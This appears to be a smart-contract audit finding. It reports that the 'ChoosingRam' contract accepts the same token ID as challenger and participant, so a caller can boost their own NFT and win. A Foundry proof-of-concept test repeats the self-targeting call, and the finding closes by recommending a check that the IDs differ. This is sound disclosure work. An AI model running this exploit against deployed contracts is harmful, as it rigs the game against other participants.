In the function 'increaseValuesOfParticipants' in 'ChoosingRam' contract, sender has the certainty to update his own NFT.
The sender in this case can set the 'tokenIdOfChallenger' as one the tokenId that he owns, but he can also give the same tokenId to 'tokenIdOfAnyPerticipent' parameter.
function test_canIncreaseValuesOfPartcipants_tokenIdOfChallengerAndPartcipantAretheSame() public {
vm.startPrank(address(this));
ramNft.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
address casualAddress1 = address(123);
vm.startPrank(casualAddress1);
ramNft.mintRamNFT(casualAddress1);
vm.stopPrank();
address casualAddress2 = address(124);
vm.startPrank(casualAddress2);
ramNft.mintRamNFT(casualAddress2);
vm.stopPrank();
address casualAddress3 = address(125);
vm.startPrank(casualAddress3);
ramNft.mintRamNFT(casualAddress3);
address casualAddress4 = address(126);
vm.startPrank(casualAddress4);
ramNft.mintRamNFT(casualAddress4);
choosingRam.increaseValuesOfParticipants(3, 3);
choosingRam.increaseValuesOfParticipants(3, 3);
choosingRam.increaseValuesOfParticipants(3, 3);
choosingRam.increaseValuesOfParticipants(3, 3);
choosingRam.increaseValuesOfParticipants(3, 3);
}
Sender has the certainty to update his own NFT and become ram.
Make sure that 'tokenIdOfChallenger' and 'tokenIdOfAnyPerticipent' are not the same.